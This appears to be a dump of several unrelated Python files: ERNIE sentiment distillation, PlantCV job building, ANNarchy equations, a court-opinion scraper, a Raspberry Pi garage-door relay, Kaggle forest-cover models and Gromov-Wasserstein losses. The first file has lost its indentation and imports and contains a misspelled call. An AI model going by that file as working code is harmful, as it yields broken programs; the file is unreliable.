from ernie.tokenizing_ernie import ErnieTokenizer
from ernie.modeling_ernie import ErnieModelForSequenceClassification
from demo.utils import create_if_not_exists, get_warmup_and_linear_decay
# 本例子采用chnsenticorp中文情感识别任务作为示范；并且事先通过数据增强扩充了蒸馏所需的无监督数据
#
# 下载数据；并存放在 ./chnsenticorp-data/
# 数据分为3列：原文；空格切词；情感标签
# 其中第一列为ERNIE的输入；第二列为BoW词袋模型的输入
# 事先统计好的BoW 词典在 ./chnsenticorp-data/vocab.bow.txt
# 定义finetune teacher模型所需要的超参数
DATA_DIR = './chnsenticorp-data/'
SEQLEN = 256
BATCH = 32
EPOCH = 10
LR = 5e-5
tokenizer = ErnieTokenizer.from_pretrained('ernie-1.0')
student_vocab = {
i.strip(): l
for l, i in enumerate(
open(
os.path.join(DATA_DIR, 'vocab.bow.txt'), encoding='utf8')
.readlines())
}
def space_tokenizer(i):
return i.decode('utf8').split()
feature_column = propeller.data.FeatureColumns([
propeller.data.TextColumn(
'seg_a',
unk_id=tokenizer.unk_id,
vocab_dict=tokenizer.vocab,
tokenizer=tokenizer.tokenize),
propeller.data.TextColumn(
'seg_a_student',
unk_id=student_vocab['[UNK]'],
vocab_dict=student_vocab,
tokenizer=space_tokenizer),
propeller.data.LabelColumn(
'label', vocab_dict={
b"0": 0,
b"1": 1,
}),
])
def map_fn(seg_a, seg_a_student, label):
seg_a, _ = tokenizer.truncate(seg_a, [], seqlen=SEQLEN)
sentence, segments = tokenizer.build_for_ernie(seg_a)
return seg_a_student, sentence, segments, label
train_ds = feature_column.build_dataset('train', data_dir=os.path.join(DATA_DIR, 'train/'), shuffle=True, repeat=False, use_gz=False) \
.map(map_fn) \
.padded_batch(BATCH)
train_ds_unlabel = feature_column.build_dataset('train-da', data_dir=os.path.join(DATA_DIR, 'train-data-augmented/'), shuffle=True, repeat=False, use_gz=False) \
.map(map_fn) \
.padded_batch(BATCH)
dev_ds = feature_column.build_dataset('dev', data_dir=os.path.join(DATA_DIR, 'dev/'), shuffle=False, repeat=False, use_gz=False) \
.map(map_fn) \
.padded_batch(BATCH,)
shapes = ([-1, SEQLEN], [-1, SEQLEN], [-1, SEQLEN], [-1])
types = ('int64', 'int64', 'int64', 'int64')
train_ds.data_shapes = shapes
train_ds.data_types = types
train_ds_unlabel.data_shapes = shapes
train_ds_unlabel.data_types = types
dev_ds.data_shapes = shapes
dev_ds.data_types = types
place = P.CUDAPlace(0)
def evaluate_teacher(model, dataset):
all_pred, all_label = [], []
with P.no_grad():
model.eval()
for step, (ids_student, ids, _, labels) in enumerate(
P.io.DataLoader(
dataset, places=place, batch_size=None)):
_, logits = model(ids)
pred = logits.argmax(-1)
all_pred.extend(pred.numpy())
all_label.extend(labels.numpy())
f1 = f1_score(all_label, all_pred, average='macro')
model.train()
return f1
teacher_model = ErnieModelForSequenceClassification.from_pretrained(
'ernie-1.0', num_labels=2)
teacher_model.train()
if not os.path.exists('./teacher_model.bin'):
g_clip = P.nn.ClipGradByGlobalNorm(1.0) #experimental
lr_scheduler = P.optimizer.lr.LambdaDecay(
LR,
get_warmup_and_linear_decay(9600 * EPOCH / BATCH,
9600 * EPOCH * 0.1 / BATCH))
opt = P.optimizer.AdamW(
lr_scheduler,
parameters=teacher_model.parameters(),
weight_decay=0.01,
grad_clip=g_clip)
for epoch in range(EPOCH):
for step, (ids_student, ids, sids, labels) in enumerate(
P.io.DataLoader(
train_ds, places=place, batch_size=None)):
loss, logits = teacher_model(ids, labels=labels)
loss.backward()
opt.step()
lr_scheduler.step()
teacher_model.clear_gradients()
if step % 10 == 0:
_lr = lr_scheduler.get_lr()
_l = loss.numpy()
msg = '[step-%d] train loss %.5f lr %.3e' % (step, _l, _lr)
print(msg)
if step % 100 == 0:
f1 = evaluate_teacher(teacher_model, dev_ds)
print('teacher f1: %.5f' % f1)
P.save(teacher_model.state_dict(), './teacher_model.bin')
else:
state_dict = P.load('./teacher_model.bin')
teacher_model.set_state_dict(state_dict)
f1 = evaluate_teacher(teacher_model, dev_ds)
print('teacher f1: %.5f' % f1)
# 定义finetune student 模型所需要的超参数
SEQLEN = 256
BATCH = 32
EPOCH = 10
LR = 1e-4
def evaluate_student(model, dataset):
all_pred, all_label = [], []
with P.no_grad():
model.eval()
for step, (ids_student, ids, _, labels) in enumerate(
P.io.DataLoader(
dataset, places=place, batch_size=None)):
_, logits = model(ids_student)
pred = logits.argmax(-1)
all_pred.extend(pred.numpy())
all_label.extend(labels.numpy())
f1 = f1_score(all_label, all_pred, average='macro')
model.train()
return f1
class BOW(P.nn.Layer):
def __init__(self):
super().__init__()
self.emb = P.nn.Embedding(len(student_vocab), 128, padding_idx=0)
self.fc = P.nn.Linear(128, 2)
def forward(self, ids, labels=None):
embbed = self.emb(ids)
pad_mask = (ids != 0).cast('float32').unsqueeze(-1)
embbed = (embbed * pad_mask).sum(1)
embbed = F.softsign(embbed)
logits = self.fc(embbed)
if labels is not None:
if len(labels.shape) == 1:
labels = labels.reshape([-1, 1])
loss = F.cross_entropy(logits, labels).mean()
else:
loss = None
return loss, logits
class CNN(P.nn.Layer):
def __init__(self):
super().__init__()
self.emb = P.nn.Embedding(30002, 128, padding_idx=0)
self.cnn = P.nn.Conv2D(128, 128, (1, 3), padding=(0, 1), act='relu')
self.pool = P.nn.Pool2D((1, 3), pool_padding=(0, 1))
self.fc = P.nn.Linear(128, 2)
def forward(self, ids, labels=None):
embbed = self.emb(ids)
#d_batch, d_seqlen = ids.shape
hidden = embbed
hidden = hidden.transpose([0, 2, 1]).unsqueeze(2) #change to NCWH
hidden = self.cnn(hidden)
hidden = self.pool(hidden).squeeze(2).transpose([0, 2, 1])
pad_mask = (ids != 0).cast('float32').unsqueeze(-1)
hidden = P.nn.funcional.softsign(L(hidden * pad_mask).sum(1))
logits = self.fc(hidden)
if labels is not None:
if len(labels.shape) == 1:
labels = labels.reshape([-1, 1])
loss = F.cross_entropy(logits, labels).mean()
else:
loss = None
return loss, logits
def KL(pred, target):
pred = F.log_softmax(pred)
target = F.softmax(target)
loss = F.kl_div(pred, target)
return loss
teacher_model.eval()
model = BOW()
g_clip = P.nn.ClipGradByGlobalNorm(1.0) #experimental
lr_scheduler = P.optimizer.lr.LambdaDecay(
LR,
get_warmup_and_linear_decay(9600 * EPOCH / BATCH,
9600 * EPOCH * 0.1 / BATCH))
opt = P.optimizer.AdamW(
lr_scheduler,
parameters=model.parameters(),
weight_decay=0.01,
grad_clip=g_clip)
model.train()
for epoch in range(EPOCH - 1):
for step, (
ids_student, ids, sids, label
) in enumerate(P.io.DataLoader(
train_ds, places=place, batch_size=None)):
with P.no_grad():
_, logits_t = teacher_model(ids, sids) # teacher 模型输出logits
_, logits_s = model(ids_student) # student 模型输出logits
loss_ce, _ = model(ids_student, labels=label)
loss_kd = KL(logits_s, logits_t.detach()) # 由KL divergence度量两个分布的距离
loss = loss_ce + loss_kd
loss.backward()
opt.step()
lr_scheduler.step()
model.clear_gradients()
if step % 10 == 0:
_lr = lr_scheduler.get_lr()
_l = loss.numpy()
msg = '[step-%d] train loss %.5f lr %.3e' % (step, _l, _lr)
print(msg)
f1 = evaluate_student(model, dev_ds)
print('student f1 %.5f' % f1)
# 最后再加一轮hard label训练巩固结果
for step, (
ids_student, ids, sids, label
) in enumerate(P.io.DataLoader(
train_ds, places=place, batch_size=None)):
loss, _ = model(ids_student, labels=label)
loss.backward()
opt.step()
model.clear_gradients()
if step % 10 == 0:
_lr = lr_scheduler.get_lr()
_l = loss.numpy()
msg = '[step-%d] train loss %.5f lr %.3e' % (step, _l, _lr)
print(msg)
f1 = evaluate_student(model, dev_ds)
print('final f1 %.5f' % f1)
|
nilq/baby-python
|
python
|
from __future__ import print_function
import os
import sys
import re
import json
from copy import deepcopy
# Build job list
###########################################
def job_builder(meta, valid_meta, workflow, job_dir, out_dir, coprocess=None, other_args="", writeimg=False):
"""Build a list of image processing jobs.
Args:
meta: Dictionary of processed image metadata.
valid_meta: Dictionary of valid metadata keys.
workflow: PlantCV image processing workflow script file.
job_dir: Intermediate file output directory.
out_dir: Output images directory.
coprocess: Coprocess the specified imgtype with the imgtype specified in meta_filters.
other_args: String of additional arguments to be passed to the workflow script.
writeimg: Boolean that specifies whether output images should be created or not.
Returns:
jobs: List of image processing commands.
:param meta: dict
:param valid_meta: dict
:param workflow: str
:param job_dir: str
:param out_dir: str
:param coprocess: str
:param other_args: str
:param writeimg: bool
:return job_stack: list
"""
# Overall job stack. List of list of jobs
jobs = []
# Get the list of images
# images = list(meta.keys())
images = []
for img in list(meta.keys()):
# # If a date range was requested, check whether the image is within range
# if args.dates:
# # Convert image datetime to unix time
# timestamp = dt_parser(meta[img]['timestamp'])
# time_delta = timestamp - datetime.datetime(1970, 1, 1)
# unix_time = (time_delta.days * 24 * 3600) + time_delta.seconds
# if unix_time < args.start_date or unix_time > args.end_date:
# continue
if coprocess is not None:
if meta[img]['imgtype'] != coprocess:
images.append(img)
else:
images.append(img)
print("Job list will include " + str(len(images)) + " images" + '\n', file=sys.stderr)
# For each image
for img in images:
# Create JSON templates for each image
img_meta = {"metadata": deepcopy(valid_meta), "observations": {}}
coimg_meta = {"metadata": deepcopy(valid_meta), "observations": {}}
# If there is an image co-processed with the image
if (coprocess is not None) and ('coimg' in meta[img]):
# Create an output file to store the co-image processing results and populate with metadata
coimg = meta[meta[img]['coimg']]
coout = open(os.path.join(".", job_dir, meta[img]["coimg"] + ".txt"), 'w')
# Store metadata in JSON
coimg_meta["metadata"]["image"] = {
"label": "image file",
"datatype": "<class 'str'>",
"value": os.path.join(coimg['path'], meta[img]['coimg'])
}
# Valid metadata
for m in list(valid_meta.keys()):
coimg_meta["metadata"][m]["value"] = coimg[m]
json.dump(coimg_meta, coout)
coout.close()
# Create an output file to store the image processing results and populate with metadata
outfile = open(os.path.join(".", job_dir, img + ".txt"), 'w')
# Store metadata in JSON
img_meta["metadata"]["image"] = {
"label": "image file",
"datatype": "<class 'str'>",
"value": os.path.join(meta[img]['path'], img)
}
# Valid metadata
for m in list(valid_meta.keys()):
img_meta["metadata"][m]["value"] = meta[img][m]
json.dump(img_meta, outfile)
outfile.close()
# Build job
job_parts = ["python", workflow, "--image", os.path.join(meta[img]['path'], img),
"--outdir", out_dir, "--result", os.path.join(job_dir, img) + ".txt"]
# Add job to list
if coprocess is not None and ('coimg' in meta[img]):
job_parts = job_parts + ["--coresult", os.path.join(job_dir, meta[img]['coimg']) + ".txt"]
if writeimg:
job_parts.append("--writeimg")
if other_args:
other_args_copy = re.sub("'", "", other_args)
other_args_copy = other_args_copy.split(" ")
job_parts = job_parts + other_args_copy
jobs.append(job_parts)
return jobs
###########################################
|
nilq/baby-python
|
python
|
from . import Plugin
class CatchallPlugin(Plugin):
priority = -5
"""
Turns metrics that aren't matched by any other plugin in something a bit more useful (than not having them at all)
Another way to look at it is.. plugin:catchall is the list of targets you can better organize ;)
Note that the assigned tags (i.e. source tags) are best guesses. We can't know for sure!
(this description goes for all catchall plugins)
"""
targets = [
{
'match': '^(?P<n1>[^\.=]+)\.?(?P<n2>[^\.=]*)\.?(?P<n3>[^\.=]*)\.?(?P<n4>[^\.=]*)\.?(?P<n5>[^\.=]*)\.?(?P<n6>[^\.=]*)\.?(?P<n7>[^\.=]*)$',
'target_type': 'unknown',
'configure': [
lambda self, target: self.add_tag(target, 'what', 'unknown'),
lambda self, target: self.add_tag(target, 'source', 'unknown')
]
},
]
# vim: ts=4 et sw=4:
|
nilq/baby-python
|
python
|
import sys
import logging
import numpy as np
import sympy as sp
import ANNarchy_future.api as api
import ANNarchy_future.parser as parser
class Symbol(sp.core.Symbol):
"""Subclass of sp.core.Symbol allowing to store additional attributes.
"""
def __new__(self, name, method='euler'):
obj = sp.core.Symbol.__new__(self, name)
self.method = method
return obj
class PreNeuron(object):
"""
Placeholder for presynaptic attributes.
"""
pass
class PostNeuron(object):
"""
Placeholder for postsynaptic attributes.
"""
pass
class StandaloneObject(object):
"""
Mimicks a Neuron or Synapse in standalone mode.
"""
def __init__(self, attributes):
self.attributes = attributes
class Equations(object):
"""Context to define equations.
It should be primarily used inside a `Neuron` or `Synapse` class,
but can also be used in a standalone mode by providing a list of attributes:
```python
with Equations(symbols=['tau', 'v', 'r']) as n:
n.dv_dt = (n.cast(0.04) - n.v)/n.tau
n.r = sp.tanh(n.v)
print(n)
```
"""
def __init__(self,
symbols : list = None,
method : str ='euler',
neuron = None,
synapse = None ):
"""Creates the Equations context.
Args:
symbols: list of attributes when in standalone mode.
method: numerical method (euler, midpoint, exponential, rk4, event-driven)
neuron: Neuron instance (passed by the population).
synapse: Synapse instance (passed by the projection).
"""
# Logger
self._logger = logging.getLogger(__name__)
self._logger.debug("Equations() created.")
# Standalone mode
if neuron is None and synapse is None and symbols is not None:
self.object = StandaloneObject(symbols)
self.object._random_variables = {}
self._logger.info("Custom symbols: " + str(symbols))
elif neuron is not None:
self.object = neuron
if not hasattr(neuron, '_random_variables'):
self.object._random_variables = {}
elif synapse is not None:
self.object = synapse
if not hasattr(synapse, '_random_variables'):
self.object._random_variables = {}
else:
self._logger.error("Equations() requires one argument among `symbols`, `neuron` or `synapse`.")
sys.exit(1)
# Numerical method
self.method = method
# Built-in symbols
self.symbols = parser.symbols_dict.copy()
# List of tuples (name, Equation)
self.equations = []
# List of random variables
self.random_variables = {}
# Start recording assignments
self._started = False
###########################################################################
# Context management
###########################################################################
def __enter__(self):
if isinstance(self.object, api.Neuron):
for attr in self.object.attributes:
# Symbol
symbol = sp.Symbol(attr)
self.symbols[attr] = symbol
setattr(self, attr, symbol)
if attr in self.object._parser.variables:
# Add derivative
symbol = sp.Symbol("d" + attr + "/dt")
self.symbols['d'+attr+'_dt'] = symbol
setattr(self, 'd'+attr+'_dt', symbol)
self._logger.debug("Neuron symbols: " + str(self.symbols))
elif isinstance(self.object, api.Synapse):
for attr in self.object.attributes:
# Symbol
symbol = sp.Symbol(attr)
self.symbols[attr] = symbol
setattr(self, attr, symbol)
if attr in self.object._parser.variables:
# Add derivative
symbol = sp.Symbol("d" + attr + "/dt")
self.symbols['d'+attr+'_dt'] = symbol
setattr(self, 'd'+attr+'_dt', symbol)
self.pre = PreNeuron()
self.post = PostNeuron()
for attr in self.object.pre_attributes:
# Symbol
symbol = sp.Symbol("pre."+attr)
self.symbols["pre."+attr] = symbol
setattr(self.pre, attr, symbol)
for attr in self.object.post_attributes:
# Symbol
symbol = sp.Symbol("post."+attr)
self.symbols["post."+attr] = symbol
setattr(self.post, attr, symbol)
self._logger.debug("Synapse symbols: " + str(self.symbols))
else: # Custom set of variables
for attr in self.object.attributes:
# Symbol
symbol = sp.Symbol(attr)
self.symbols[attr] = symbol
setattr(self, attr, symbol)
# Derivative if needed
symbol = sp.Symbol("d" + attr + "/dt")
self.symbols['d'+attr+'_dt'] = symbol
setattr(self, 'd'+attr+'_dt', symbol)
self._started = True
return self
def __exit__(self, exc_type, exc_value, traceback):
self._logger.info(str(self))
def __str__(self):
string = ""
for name, dist in self.random_variables.items():
string += name + " = " + dist.human_readable() + "\n"
for name, eq in self.equations:
string += sp.ccode(self.symbols[name]) + " = " + sp.ccode(eq) + "\n"
return string
def __getattribute__(self, name):
return object.__getattribute__(self, name)
def __setattr__(self, name, value):
# After __enter__(), track modifications to the variables
if hasattr(self, '_started') and self._started:
# Do not assign equations to symbols, just store them
if name in self.symbols.keys():
self.equations.append((name, value))
else:
object.__setattr__(self, name, value)
else:
object.__setattr__(self, name, value)
###########################################################################
# Built-in vocabulary
###########################################################################
@property
def t(self):
"Current time in ms."
return self.symbols['t']
@property
def dt(self):
"Step size in ms."
return self.symbols['dt']
def ite(self, cond, then, els):
"""If-then-else ternary operator.
Equivalent to:
```python
def ite(cond, then, els):
if cond:
return then
else:
return els
```
Args:
cond: condition.
then: returned value when cond is true.
else: returned value when cond is false.
"""
return sp.Piecewise((then, cond), (els, True))
def clip(self, val:sp.Symbol, min:sp.Symbol, max:sp.Symbol = None):
"""Sets the lower and upper bounds of a variable.
Equivalent to:
```python
def clip(val, min, max):
if val < min:
return min
elif val > max:
return max
else:
return val
```
Args:
val: variable.
min: lower bound.
max: upper bound.
"""
if min is None and max is None: # Do nothing
return val
elif min is not None and max is None: # Lower bound
return sp.Piecewise((min, val<min), (val, True))
elif min is None and max is not None: # Upper bound
return sp.Piecewise((max, val>max), (val, True))
else: # Two-sided clip
return sp.Piecewise((min, val<min), (max, val>max), (val, True))
def cast(self, val:float) -> sp.Symbol:
"""Cast floating point numbers to symbols in order to avoid numerical errors.
Args:
val (float):
"""
return sp.Symbol(str(float(val)))
###########################################################################
# Random distributions
###########################################################################
def Uniform(self, min:float, max:float):
"""
Uniform distribution between `min` and `max`.
Args:
min: lower bound.
max: upper bound.
"""
name = "__rand__" + str(len(self.object._random_variables))
obj = parser.RandomDistributions.Uniform(name, min, max)
self.random_variables[name] = obj
self.object._random_variables[name] = obj
return sp.Symbol(name)
def Normal(self, mu:float, sigma:float):
"""
Normal distribution with mean `mu` and standard deviation `sigma`.
Args:
mu: mean.
sigma: standard deviation.
"""
name = "__rand__" + str(len(self.object._random_variables))
obj = parser.RandomDistributions.Normal(name, mu, sigma)
self.random_variables[name] = obj
self.object._random_variables[name] = obj
return sp.Symbol(name)
|
nilq/baby-python
|
python
|
from juriscraper.OpinionSite import OpinionSite
from datetime import datetime
import re
class Site(OpinionSite):
def __init__(self, *args, **kwargs):
super(Site, self).__init__(*args, **kwargs)
self.court_id = self.__module__
self.url = "http://www.courts.state.va.us/scndex.htm"
def _get_case_names(self):
path = "//p[./a[contains(./@href, '.pdf')]]/b/text()"
return list(self.html.xpath(path))
def _get_docket_numbers(self):
path = "//p[./a[contains(./@href, '.pdf')]]/a/text()"
return [
doc.strip()
for doc in self.html.xpath(path)
if doc.strip().isdigit()
]
def _get_case_dates(self):
dates = []
path = "//p[./a[contains(./@href, '.pdf')]]/text()"
pattern = r"^\s*\d{2}/\d{2}/\d{4}"
for s in self.html.xpath(path):
date_str = re.findall(pattern, s)
if len(date_str):
dates.append(
datetime.strptime(date_str[0].strip(), "%m/%d/%Y").date()
)
return dates
def _get_download_urls(self):
path = "//p[./a[contains(./@href, '.pdf')]]/a[2]/@href"
urls = [url for url in self.html.xpath(path) if url.endswith(".pdf")]
return urls
def _get_precedential_statuses(self):
return ["Published"] * len(self.case_names)
|
nilq/baby-python
|
python
|
from django.conf.urls import patterns, include, url
from django.contrib import admin
from core.views import JobList, JobDetail, JobCreate
admin.autodiscover()
urlpatterns = patterns('',
# Examples:
# url(r'^$', 'emplea_do.views.home', name='home'),
# url(r'^blog/', include('blog.urls')),
url(r'^$', JobList.as_view()),
url(r'^job/new/$', JobCreate.as_view()),
url(r'^job/(?P<pk>\d+)/$', JobDetail.as_view()),
url(r'^admin/', include(admin.site.urls)),
)
|
nilq/baby-python
|
python
|
import RPi.GPIO as GPIO
import time
from pathlib import Path
import os
import sys
relay_signal = 4
# GPIO setup
GPIO.setmode(GPIO.BCM)
GPIO.setup(relay_signal, GPIO.OUT)
# pulls the signal pin high signalling the relay switch to close
def garage_btn_down(pin):
GPIO.output(pin, GPIO.HIGH) # Close OSC
# pulls the signal pin low signalling the relay switch to open
def garage_btn_up(pin):
GPIO.output(pin, GPIO.LOW) # Open OSC
# presses the garage door button for 1 second
def press_button():
garage_btn_down(relay_signal)
time.sleep(1)
garage_btn_up(relay_signal)
# returns true if garage_is_open status file exists
def garage_is_open():
return os.path.exists('/home/pi/garage_is_open')
# returns true if garage_is_moving status file exists
def garage_is_moving():
return os.path.exists('/home/pi/garage_is_moving')
# reverses the garage while in motion
def reverse_door():
press_button()
print("garage button pressed (stopping)")
press_button()
print("garage button pressed (reversing)")
# main entry point
if __name__ == '__main__':
try:
if "--open" in sys.argv:
if not garage_is_open() and not garage_is_moving():
press_button()
print("garage button pressed (opening)")
Path('/home/pi/garage_is_moving').touch()
elif not garage_is_open() and garage_is_moving():
reverse_door()
else:
print("ignoring since garage is already open or in transit")
elif "--close" in sys.argv:
if garage_is_open() and not garage_is_moving():
Path('/home/pi/garage_is_moving').touch()
press_button()
print("garage button pressed (closing)")
else:
print("ignoring since garage is already closed or in transit")
except KeyboardInterrupt:
pass
finally:
GPIO.cleanup()
|
nilq/baby-python
|
python
|
# Common libraries
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
# Restrict minor warnings
import warnings
warnings.filterwarnings('ignore')
# Import test and train data
df_train = pd.read_csv('../input/train.csv')
df_Test = pd.read_csv('../input/test.csv')
df_test = df_Test
# From both train and test data
df_train = df_train.drop(['Soil_Type7', 'Soil_Type15','Soil_Type8', 'Soil_Type25'], axis = 1)
df_test = df_test.drop(['Soil_Type7', 'Soil_Type15','Soil_Type8', 'Soil_Type25'], axis = 1)
# Also drop 'Id'
df_train = df_train.iloc[:,1:]
df_test = df_test.iloc[:,1:]
# Taking only non-categorical values
Size = 10
X_temp = df_train.iloc[:,:Size]
X_test_temp = df_test.iloc[:,:Size]
r,c = df_train.shape
X_train = np.concatenate((X_temp,df_train.iloc[:,Size:c-1]),axis=1)
y_train = df_train.Cover_Type.values
r,c = df_test.shape
X_test = np.concatenate((X_test_temp, df_test.iloc[:,Size:c]), axis = 1)
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split
# Setting parameters
x_data, x_test_data, y_data, y_test_data = train_test_split(X_train, y_train, test_size = 0.3)
rf_para = [{'n_estimators':[50, 100], 'max_depth':[5,10,15], 'max_features':[0.1, 0.3], \
'min_samples_leaf':[1,3], 'bootstrap':[True, False]}]
from sklearn.grid_search import GridSearchCV, RandomizedSearchCV
rfc = GridSearchCV(RandomForestClassifier(), param_grid=rf_para, cv = 10, n_jobs=-1)
rfc.fit(x_data, y_data)
rfc.best_params_
rfc.grid_scores_
print ('Best accuracy obtained: {}'.format(rfc.best_score_))
print ('Parameters:')
for key, value in rfc.best_params_.items():
print('\t{}:{}'.format(key,value))
# Best params: {'max_features': 0.3, 'n_estimators': 100, 'bootstrap': False, 'max_depth': 15, 'min_samples_leaf': 1}
RFC = RandomForestClassifier(n_estimators=100, max_depth=10, max_features=0.3, bootstrap=True, min_samples_leaf=1,\
n_jobs=-1)
RFC.fit(X_train, y_train)
# y_pred = RFC.predict(X_test)
from sklearn.model_selection import learning_curve
from sklearn.model_selection import ShuffleSplit
def plot_learning_curve(model,title, X, y,n_jobs = 1, ylim = None, cv = None,train_sizes = np.linspace(0.1, 1, 5)):
# Figrue parameters
plt.figure(figsize=(10,8))
plt.title(title)
if ylim is not None:
plt.ylim(*ylim)
plt.xlabel('Training Examples')
plt.ylabel('Score')
train_sizes, train_score, test_score = learning_curve(model, X, y, cv = cv, n_jobs=n_jobs, train_sizes=train_sizes)
# Calculate mean and std
train_score_mean = np.mean(train_score, axis=1)
train_score_std = np.std(train_score, axis=1)
test_score_mean = np.mean(test_score, axis=1)
test_score_std = np.std(test_score, axis=1)
plt.grid()
plt.fill_between(train_sizes, train_score_mean - train_score_std, train_score_mean + train_score_std,\
alpha = 0.1, color = 'r')
plt.fill_between(train_sizes, test_score_mean - test_score_std, test_score_mean + test_score_std,\
alpha = 0.1, color = 'g')
plt.plot(train_sizes, train_score_mean, 'o-', color="r", label="Training score")
plt.plot(train_sizes, test_score_mean, 'o-', color="g", label="Cross-validation score")
plt.legend(loc = "best")
return plt
# Plotting Learning Curve
title = 'Learning Curve(Random Forest)'
model = RFC
cv = ShuffleSplit(n_splits=50, test_size=0.2,random_state=0)
plot_learning_curve(model,title,X_train, y_train, n_jobs=-1,ylim=None,cv=cv)
plt.show()
from xgboost.sklearn import XGBClassifier
from sklearn.metrics import accuracy_score
from sklearn.cross_validation import StratifiedKFold
from scipy.stats import randint, uniform
cv = StratifiedKFold(y_train, n_folds=10, shuffle=True)
params_dist_grid = {
'max_depth': [1, 5, 10],
'gamma': [0, 0.5, 1],
'n_estimators': randint(1, 1001), # uniform discrete random distribution
'learning_rate': uniform(), # gaussian distribution
'subsample': uniform(), # gaussian distribution
'colsample_bytree': uniform(), # gaussian distribution
'reg_lambda':uniform(),
'reg_alpha':uniform()
}
xgbc_fixed = {'booster':['gbtree'], 'silent':1}
bst_gridd = RandomizedSearchCV(estimator=XGBClassifier(*xgbc_fixed), param_distributions=params_dist_grid,\
scoring='accuracy', cv=cv, n_jobs=-1)
# bst_gridd.fit(X_train, y_train)
# bst_gridd.grid_scores_
# print ('Best accuracy obtained: {}'.format(bst_gridd.best_score_))
# print ('Parameters:')
# for key, value in bst_gridd.best_params_.items():
# print('\t{}:{}'.format(key,value))
# Best parameters selected using code in above cell
# Splitting the train data to test the best parameters
from sklearn.model_selection import train_test_split
seed = 123
x_data, x_test_data, y_data, y_test_data = train_test_split(X_train, y_train, test_size = 0.3,random_state=seed)
eval_set = [(x_test_data, y_test_data)]
XGBC = XGBClassifier(silent=1,n_estimators=641,learning_rate=0.2,max_depth=10,gamma=0.5,nthread=-1,\
reg_alpha = 0.05, reg_lambda= 0.35, max_delta_step = 1, subsample = 0.83, colsample_bytree = 0.6)
# Calculating error
XGBC.fit(x_data, y_data, early_stopping_rounds=100, eval_set=eval_set, eval_metric='merror', verbose=True)
pred = XGBC.predict(x_test_data)
accuracy = accuracy_score(y_test_data, pred);
print ('accuracy:%0.2f%%'%(accuracy*100))
xgbc_pred= XGBC.predict(X_test)
# saving to a csv file to make submission
solution = pd.DataFrame({'Id':df_Test.Id, 'Cover_Type':xgbc_pred}, columns = ['Id','Cover_Type'])
solution.to_csv('Xgboost_sol.csv', index=False)
|
nilq/baby-python
|
python
|
# -*- coding: utf-8 -*-
"""
Gromov-Wasserstein transport method
===================================
"""
# Author: Erwan Vautier <erwan.vautier@gmail.com>
# Nicolas Courty <ncourty@irisa.fr>
#
# License: MIT License
import numpy as np
from .bregman import sinkhorn
from .utils import dist
def square_loss(a, b):
"""
Returns the value of L(a,b)=(1/2)*|a-b|^2
"""
return 0.5 * (a - b)**2
def kl_loss(a, b):
"""
Returns the value of L(a,b)=a*log(a/b)-a+b
"""
return a * np.log(a / b) - a + b
def tensor_square_loss(C1, C2, T):
"""
Returns the value of \mathcal{L}(C1,C2) \otimes T with the square loss
function as the loss function of Gromow-Wasserstein discrepancy.
Where :
C1 : Metric cost matrix in the source space
C2 : Metric cost matrix in the target space
T : A coupling between those two spaces
The square-loss function L(a,b)=(1/2)*|a-b|^2 is read as :
L(a,b) = f1(a)+f2(b)-h1(a)*h2(b) with :
f1(a)=(a^2)/2
f2(b)=(b^2)/2
h1(a)=a
h2(b)=b
Parameters
----------
C1 : ndarray, shape (ns, ns)
Metric cost matrix in the source space
C2 : ndarray, shape (nt, nt)
Metric costfr matrix in the target space
T : ndarray, shape (ns, nt)
Coupling between source and target spaces
Returns
-------
tens : ndarray, shape (ns, nt)
\mathcal{L}(C1,C2) \otimes T tensor-matrix multiplication result
"""
C1 = np.asarray(C1, dtype=np.float64)
C2 = np.asarray(C2, dtype=np.float64)
T = np.asarray(T, dtype=np.float64)
def f1(a):
return (a**2) / 2
def f2(b):
return (b**2) / 2
def h1(a):
return a
def h2(b):
return b
tens = -np.dot(h1(C1), T).dot(h2(C2).T)
tens -= tens.min()
return tens
def tensor_kl_loss(C1, C2, T):
"""
Returns the value of \mathcal{L}(C1,C2) \otimes T with the square loss
function as the loss function of Gromow-Wasserstein discrepancy.
Where :
C1 : Metric cost matrix in the source space
C2 : Metric cost matrix in the target space
T : A coupling between those two spaces
The square-loss function L(a,b)=(1/2)*|a-b|^2 is read as :
L(a,b) = f1(a)+f2(b)-h1(a)*h2(b) with :
f1(a)=a*log(a)-a
f2(b)=b
h1(a)=a
h2(b)=log(b)
Parameters
----------
C1 : ndarray, shape (ns, ns)
Metric cost matrix in the source space
C2 : ndarray, shape (nt, nt)
Metric costfr matrix in the target space
T : ndarray, shape (ns, nt)
Coupling between source and target spaces
Returns
-------
tens : ndarray, shape (ns, nt)
\mathcal{L}(C1,C2) \otimes T tensor-matrix multiplication result
References
----------
.. [12] Peyré, Gabriel, Marco Cuturi, and Justin Solomon,
"Gromov-Wasserstein averaging of kernel and distance matrices."
International Conference on Machine Learning (ICML). 2016.
"""
C1 = np.asarray(C1, dtype=np.float64)
C2 = np.asarray(C2, dtype=np.float64)
T = np.asarray(T, dtype=np.float64)
def f1(a):
return a * np.log(a + 1e-15) - a
def f2(b):
return b
def h1(a):
return a
def h2(b):
return np.log(b + 1e-15)
tens = -np.dot(h1(C1), T).dot(h2(C2).T)
tens -= tens.min()
return tens
def update_square_loss(p, lambdas, T, Cs):
"""
Updates C according to the L2 Loss kernel with the S Ts couplings
calculated at each iteration
Parameters
----------
p : ndarray, shape (N,)
masses in the targeted barycenter
lambdas : list of float
list of the S spaces' weights
T : list of S np.ndarray(ns,N)
the S Ts couplings calculated at each iteration
Cs : list of S ndarray, shape(ns,ns)
Metric cost matrices
Returns
----------
C : ndarray, shape (nt,nt)
updated C matrix
"""
tmpsum = sum([lambdas[s] * np.dot(T[s].T, Cs[s]).dot(T[s])
for s in range(len(T))])
ppt = np.outer(p, p)
return np.divide(tmpsum, ppt)
def update_kl_loss(p, lambdas, T, Cs):
"""
Updates C according to the KL Loss kernel with the S Ts couplings calculated at each iteration
Parameters
----------
p : ndarray, shape (N,)
weights in the targeted barycenter
lambdas : list of the S spaces' weights
T : list of S np.ndarray(ns,N)
the S Ts couplings calculated at each iteration
Cs : list of S ndarray, shape(ns,ns)
Metric cost matrices
Returns
----------
C : ndarray, shape (ns,ns)
updated C matrix
"""
tmpsum = sum([lambdas[s] * np.dot(T[s].T, Cs[s]).dot(T[s])
for s in range(len(T))])
ppt = np.outer(p, p)
return np.exp(np.divide(tmpsum, ppt))
